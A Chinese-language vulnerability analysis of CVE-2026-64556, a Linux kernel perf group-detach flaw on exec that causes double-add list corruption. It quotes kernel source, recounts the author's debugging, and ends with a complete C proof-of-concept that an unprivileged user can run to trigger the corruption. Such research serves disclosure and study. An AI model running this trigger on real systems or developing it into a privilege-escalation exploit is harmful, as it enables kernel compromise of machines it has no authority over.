Linux内核漏洞分析之CVE-2026-64556
CVE-2026-64556 是 Linux 内核 perf 子系统新近披露的本地权限提升漏洞,因内核事件清理逻辑存在缺陷引发内存损坏问题。本文主要分析该漏洞原理,并给出可用于验证的漏洞 PoC
一、漏洞简介
漏洞编号: CVE-2026-64556
漏洞产品: linux kernel - perf
利用效果: 本地提权
二、环境搭建
复现环境:qemu + linux kernel v6.12.67
环境附件: bzImage(启用DEBUG_LIST编译选项)
复现流程: qemu启动内核后,将poc编译传到vm中(或者编译好重新打包文件系统),运行即可触发double-add检测
三、漏洞原理
该漏洞源于 Linux 内核链表管理逻辑存在疏漏。当程序执行新程序(exec)时,perf 性能监控组件会调用perf_event_remove_on_exec移除监控事件(event)。原有代码仅移除了事件组组长(leader),却没有断开组长和组内其他监控事件(sibling)的关联。组内剩余事件继续绑定在已经失效的组长上,形成无效的事件分组。在kernel后续调度流程中,sibling被重复添加到双向链表,造成链表结构损坏,引发内核内存异常。
static void perf_group_detach(struct perf_event *event)
{
struct perf_event *leader = event->group_leader;
struct perf_event *sibling, *tmp;
struct perf_event_context *ctx = event->ctx;
lockdep_assert_held(&ctx->lock);
/*
* We can have double detach due to exit/hot-unplug + close.
*/
if (!(event->attach_state & PERF_ATTACH_GROUP))
return;
event->attach_state &= ~PERF_ATTACH_GROUP;
perf_put_aux_event(event);
/*
* If this is a sibling, remove it from its group.
*/
if (leader != event) {
list_del_init(&event->sibling_list);
event->group_leader->nr_siblings--;
event->group_leader->group_generation++;
goto out;
}
/*
* If this was a group event with sibling events then
* upgrade the siblings to singleton events by adding them
* to whatever list we are on.
*/
list_for_each_entry_safe(sibling, tmp, &event->sibling_list, sibling_list) {
/*
* Events that have PERF_EV_CAP_SIBLING require being part of
* a group and cannot exist on their own, schedule them out
* and move them into the ERROR state. Also see
* _perf_event_enable(), it will not be able to recover this
* ERROR state.
*/
if (sibling->event_caps & PERF_EV_CAP_SIBLING)
__event_disable(sibling, ctx, PERF_EVENT_STATE_ERROR);
sibling->group_leader = sibling;
list_del_init(&sibling->sibling_list);
/* Inherit group flags from the previous leader */
sibling->group_caps = event->group_caps;
if (sibling->attach_state & PERF_ATTACH_CONTEXT) {
add_event_to_groups(sibling, event->ctx);
if (sibling->state == PERF_EVENT_STATE_ACTIVE)
list_add_tail(&sibling->active_list, get_event_list(sibling));
}
WARN_ON_ONCE(sibling->ctx != event->ctx);
}
out:
for_each_sibling_event(tmp, leader)
perf_event__header_size(tmp);
perf_event__header_size(leader);
}static int merge_sched_in(struct perf_event *event, void *data)
{
struct perf_event_context *ctx = event->ctx;
int *can_add_hw = data;
if (event->state <= PERF_EVENT_STATE_OFF)
return 0;
if (!event_filter_match(event))
return 0;
if (group_can_go_on(event, *can_add_hw)) {
if (!group_sched_in(event, ctx))
list_add_tail(&event->active_list, get_event_list(event));
}
if (event->state == PERF_EVENT_STATE_INACTIVE) {
*can_add_hw = 0;
if (event->attr.pinned) {
perf_cgroup_event_disable(event, ctx);
perf_event_set_state(event, PERF_EVENT_STATE_ERROR);
} else {
struct perf_cpu_pmu_context *cpc;
event->pmu_ctx->rotate_necessary = 1;
cpc = this_cpu_ptr(event->pmu_ctx->pmu->cpu_pmu_context);
perf_mux_hrtimer_restart(cpc);
group_update_userpage(event);
}
}
return 0;
}
四、漏洞分析
在perf_event_remove_on_exec函数中,会调用perf_event_exit_event对设置了remove_on_exec属性的event进行操作
static void perf_event_remove_on_exec(struct perf_event_context *ctx)
{
struct perf_event_context *clone_ctx = NULL;
struct perf_event *event, *next;
unsigned long flags;
bool modified = false;
mutex_lock(&ctx->mutex);
if (WARN_ON_ONCE(ctx->task != current))
goto unlock;
list_for_each_entry_safe(event, next, &ctx->event_list, event_entry) {
if (!event->attr.remove_on_exec)
continue;
if (!is_kernel_event(event))
perf_remove_from_owner(event);
modified = true;
perf_event_exit_event(event, ctx);
}
raw_spin_lock_irqsave(&ctx->lock, flags);
if (modified)
clone_ctx = unclone_ctx(ctx);
raw_spin_unlock_irqrestore(&ctx->lock, flags);
unlock:
mutex_unlock(&ctx->mutex);
if (clone_ctx)
put_ctx(clone_ctx);
}perf_event_exit_event函数的逻辑可以简单理解成,如果当前event是子event则设置DETACH_GROUP这个flags,否则就不设置(作者看了一下主线版本的代码,大差不差,原有代码中perf_event_remove_on_exec调用perf_event_exit_event是不会设置DETACH_GROUP的,导致事件组不会被解散)
static void
perf_event_exit_event(struct perf_event *event, struct perf_event_context *ctx)
{
struct perf_event *parent_event = event->parent;
unsigned long detach_flags = 0;
if (parent_event) {
/*
* Do not destroy the 'original' grouping; because of the
* context switch optimization the original events could've
* ended up in a random child task.
*
* If we were to destroy the original group, all group related
* operations would cease to function properly after this
* random child dies.
*
* Do destroy all inherited groups, we don't care about those
* and being thorough is better.
*/
detach_flags = DETACH_GROUP | DETACH_CHILD;
mutex_lock(&parent_event->child_mutex);
}
perf_remove_from_context(event, detach_flags | DETACH_EXIT);
/*
* Child events can be freed.
*/
if (parent_event) {
mutex_unlock(&parent_event->child_mutex);
/*
* Kick perf_poll() for is_event_hup();
*/
perf_event_wakeup(parent_event);
put_event(event);
return;
}
/*
* Parent events are governed by their filedesc, retain them.
*/
perf_event_wakeup(event);
}而后续__perf_remove_from_context函数中是否调用perf_group_detach取决于有没有设置DETACH_GROUP这个flags
static void
__perf_remove_from_context(struct perf_event *event,
struct perf_cpu_context *cpuctx,
struct perf_event_context *ctx,
void *info)
{
struct perf_event_pmu_context *pmu_ctx = event->pmu_ctx;
enum perf_event_state state = PERF_EVENT_STATE_OFF;
unsigned long flags = (unsigned long)info;
ctx_time_update(cpuctx, ctx);
/*
* Ensure event_sched_out() switches to OFF, at the very least
* this avoids raising perf_pending_task() at this time.
*/
if (flags & DETACH_EXIT)
state = PERF_EVENT_STATE_EXIT;
if (flags & DETACH_DEAD) {
event->pending_disable = 1;
state = PERF_EVENT_STATE_DEAD;
}
event_sched_out(event, ctx);
perf_event_set_state(event, min(event->state, state));
if (flags & DETACH_GROUP)
perf_group_detach(event);
if (flags & DETACH_CHILD)
perf_child_detach(event);
list_del_event(event, ctx);
if (!pmu_ctx->nr_events) {
pmu_ctx->rotate_necessary = 0;
if (ctx->task && ctx->is_active) {
struct perf_cpu_pmu_context *cpc;
cpc = this_cpu_ptr(pmu_ctx->pmu->cpu_pmu_context);
WARN_ON_ONCE(cpc->task_epc && cpc->task_epc != pmu_ctx);
cpc->task_epc = NULL;
}
}
if (!ctx->nr_events && ctx->is_active) {
if (ctx == &cpuctx->ctx)
update_cgrp_time_from_cpuctx(cpuctx, true);
ctx->is_active = 0;
if (ctx->task) {
WARN_ON_ONCE(cpuctx->task_ctx != ctx);
cpuctx->task_ctx = NULL;
}
}
}perf_group_detach主要实现的功能是解除分组关系,可以简单理解为,当一个组的leader被移除时,sibling如果是active状态则晋升为leader,然后加入到pmu的active_list中
static void perf_group_detach(struct perf_event *event)
{
struct perf_event *leader = event->group_leader;
struct perf_event *sibling, *tmp;
struct perf_event_context *ctx = event->ctx;
lockdep_assert_held(&ctx->lock);
/*
* We can have double detach due to exit/hot-unplug + close.
*/
if (!(event->attach_state & PERF_ATTACH_GROUP))
return;
event->attach_state &= ~PERF_ATTACH_GROUP;
perf_put_aux_event(event);
/*
* If this is a sibling, remove it from its group.
*/
if (leader != event) {
list_del_init(&event->sibling_list);
event->group_leader->nr_siblings--;
event->group_leader->group_generation++;
goto out;
}
/*
* If this was a group event with sibling events then
* upgrade the siblings to singleton events by adding them
* to whatever list we are on.
*/
list_for_each_entry_safe(sibling, tmp, &event->sibling_list, sibling_list) {
/*
* Events that have PERF_EV_CAP_SIBLING require being part of
* a group and cannot exist on their own, schedule them out
* and move them into the ERROR state. Also see
* _perf_event_enable(), it will not be able to recover this
* ERROR state.
*/
if (sibling->event_caps & PERF_EV_CAP_SIBLING)
__event_disable(sibling, ctx, PERF_EVENT_STATE_ERROR);
sibling->group_leader = sibling;
list_del_init(&sibling->sibling_list);
/* Inherit group flags from the previous leader */
sibling->group_caps = event->group_caps;
if (sibling->attach_state & PERF_ATTACH_CONTEXT) {
add_event_to_groups(sibling, event->ctx);
if (sibling->state == PERF_EVENT_STATE_ACTIVE)
list_add_tail(&sibling->active_list, get_event_list(sibling));
}
WARN_ON_ONCE(sibling->ctx != event->ctx);
}
out:
for_each_sibling_event(tmp, leader)
perf_event__header_size(tmp);
perf_event__header_size(leader);
}也就是说,当一个leader设置remove_on_exec属性时,在执行exec时会移除它,却不会调用perf_group_detach解散分组
那么不难想到,假使leader设置了remove_on_exec属性而sibling并未设置(如果sibling也设置了该属性,kernel会修改sibling的状态,非活跃状态是不会被晋升为leader的),最终会导致leader被移除后sibling加入到pmu的active_list中。该操作会瞒天过海,最终导致再次sched_in时出现double-add(后续会细说)
五、漏洞复现
首先让ai生成一个基础的交互程序
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
static int perf_event_open(struct perf_event_attr *attr, pid_t pid,
int cpu, int group_fd, unsigned long flags)
{
return syscall(__NR_perf_event_open, attr, pid, cpu, group_fd, flags);
}
int main(int argc, char **argv)
{
if (argc > 2 && strcmp(argv[1], "child") == 0) {
int leader_fd = atoi(argv[2]);
int s1 = atoi(argv[3]);
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
close(leader_fd);
for (int i = 0; i < 100; i++) {
ioctl(s1, PERF_EVENT_IOC_ENABLE, 0);
sched_yield();
usleep(10);
}
close(s1);
return 0;
}
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.type = PERF_TYPE_SOFTWARE;
attr.config = PERF_COUNT_SW_CPU_CLOCK;
attr.disabled = 1;
attr.pinned = 0;
attr.remove_on_exec = 1;
pid_t target_pid = getpid();
int leader_fd = perf_event_open(&attr, target_pid, -1, -1, 0);
if (leader_fd < 0) {
return 1;
}
attr.remove_on_exec = 0;
attr.disabled = 0;
int s1 = perf_event_open(&attr, target_pid, -1, leader_fd, 0);
if (s1 < 0) {
close(leader_fd);
return 1;
}
ioctl(leader_fd, PERF_EVENT_IOC_ENABLE, PERF_IOC_FLAG_GROUP);
fcntl(leader_fd, F_SETFD, 0);
fcntl(s1, F_SETFD, 0);
char s_leader[16], s_s1[16];
sprintf(s_leader, "%d", leader_fd);
sprintf(s_s1, "%d", s1);
char *new_argv[] = { argv[0], "child", s_leader, s_s1, NULL };
fflush(stdout);
execve(argv[0], new_argv, NULL);
return 1;
}误区一:event的remove操作
作者一开始对该漏洞不甚了解,拷打ai给的反馈是,perf_event_remove_on_exec应该只操作leader才对?
但是在调试kernel的时候发现,event没有设置remove_on_exec属性?再检查一下发现这个event是sibling而不是leader
反复捣鼓最后发现正常情况下就是一个LIFO结构,这里并不影响
误区二:event的add操作
这个就比较迷惑了,一开始作者以为,leader和sibling都在pmu的active_list中,然后remove时删掉了leader,close时将sibling晋升为leader又将sibling链入导致的double-add
但是分析发现kernel只会将leader链入到active_list中,然后sibling链入到leader的sibling_list?
static int merge_sched_in(struct perf_event *event, void *data)
{
struct perf_event_context *ctx = event->ctx;
int *can_add_hw = data;
if (event->state <= PERF_EVENT_STATE_OFF)
return 0;
if (!event_filter_match(event))
return 0;
if (group_can_go_on(event, *can_add_hw)) {
if (!group_sched_in(event, ctx))
list_add_tail(&event->active_list, get_event_list(event));
}
if (event->state == PERF_EVENT_STATE_INACTIVE) {
*can_add_hw = 0;
if (event->attr.pinned) {
perf_cgroup_event_disable(event, ctx);
perf_event_set_state(event, PERF_EVENT_STATE_ERROR);
} else {
struct perf_cpu_pmu_context *cpc;
event->pmu_ctx->rotate_necessary = 1;
cpc = this_cpu_ptr(event->pmu_ctx->pmu->cpu_pmu_context);
perf_mux_hrtimer_restart(cpc);
group_update_userpage(event);
}
}
return 0;
}static void perf_group_attach(struct perf_event *event)
{
struct perf_event *group_leader = event->group_leader, *pos;
lockdep_assert_held(&event->ctx->lock);
/*
* We can have double attach due to group movement (move_group) in
* perf_event_open().
*/
if (event->attach_state & PERF_ATTACH_GROUP)
return;
event->attach_state |= PERF_ATTACH_GROUP;
if (group_leader == event)
return;
WARN_ON_ONCE(group_leader->ctx != event->ctx);
group_leader->group_caps &= event->event_caps;
list_add_tail(&event->sibling_list, &group_leader->sibling_list);
group_leader->nr_siblings++;
group_leader->group_generation++;
perf_event__header_size(group_leader);
for_each_sibling_event(pos, group_leader)
perf_event__header_size(pos);
}那么答案只有一个:
第一次add是在perf_group_detach,第二次add是在merge_sched_in?
调试内核,发现一个很奇怪的现象,内核确实是在调用perf_group_detach之后又调用了merge_sched_in,但是此时active_list指向自身,也就是说明是空链表,为何呢?
于是作者给active_list下了一个监视断点
最终发现在调用perf_group_detach之后、merge_sched_in之前,内核调用了sched_out,该函数会将event清出active_list
作者查了一下内核调用merge_sched_in的时机,好像是切换上下文或者改变event状态才行,但无一例外的,在sched_in之前都得sched_out?而sched_out会将event从active_list中移除,这好似陷入了一个悖论,永远都无法构成double-add
最后作者找到了一种解决方法,先让子进程阻塞睡眠,主进程在关闭leader后再唤醒子进程,等待CPU调度不就触发sched_in了?
此外作者测试的时候发现普通用户执行提示没权限,最终发现设置exclude_kernel属性即可
完整poc:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <sys/wait.h>
static int perf_event_open(struct perf_event_attr *attr, pid_t pid,
int cpu, int group_fd, unsigned long flags) {
return syscall(__NR_perf_event_open, attr, pid, cpu, group_fd, flags);
}
int child_main(int pipe_read_fd) {
char buf;
read(pipe_read_fd, &buf, 1);
close(pipe_read_fd);
return 0;
}
int main(int argc, char **argv) {
if (argc == 3 && strcmp(argv[1], "child") == 0) {
int pipe_fd = atoi(argv[2]);
return child_main(pipe_fd);
}
int pipe_fds[2];
if (pipe(pipe_fds) < 0) {
perror("pipe");
return 1;
}
pid_t child_pid = fork();
if (child_pid < 0) {
perror("fork");
return 1;
}
if (child_pid == 0) {
close(pipe_fds[1]);
raise(SIGSTOP);
char pipe_fd_str[16];
snprintf(pipe_fd_str, sizeof(pipe_fd_str), "%d", pipe_fds[0]);
char *new_argv[] = { argv[0], "child", pipe_fd_str, NULL };
execve(argv[0], new_argv, NULL);
perror("execve");
_exit(1);
}
int status;
waitpid(child_pid, &status, WUNTRACED);
if (!WIFSTOPPED(status)) {
kill(child_pid, SIGKILL);
return 1;
}
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.type = PERF_TYPE_SOFTWARE;
attr.config = PERF_COUNT_SW_CPU_CLOCK;
attr.disabled = 1;
attr.remove_on_exec = 1;
attr.exclude_kernel = 1;//必需!否则出现权限不足
int leader_fd = perf_event_open(&attr, child_pid, -1, -1, 0);
if (leader_fd < 0) {
perror("perf_event_open leader");
kill(child_pid, SIGKILL);
return 1;
}
attr.remove_on_exec = 0;
attr.disabled = 0;
int s1_fd = perf_event_open(&attr, child_pid, -1, leader_fd, 0);
if (s1_fd < 0) {
perror("perf_event_open sibling");
close(leader_fd);
kill(child_pid, SIGKILL);
return 1;
}
ioctl(leader_fd, PERF_EVENT_IOC_ENABLE, PERF_IOC_FLAG_GROUP);
kill(child_pid, SIGCONT);
usleep(200000);
close(leader_fd);
write(pipe_fds[1], "x", 1);
waitpid(child_pid, &status, 0);
close(s1_fd);
close(pipe_fds[1]);
return 0;
}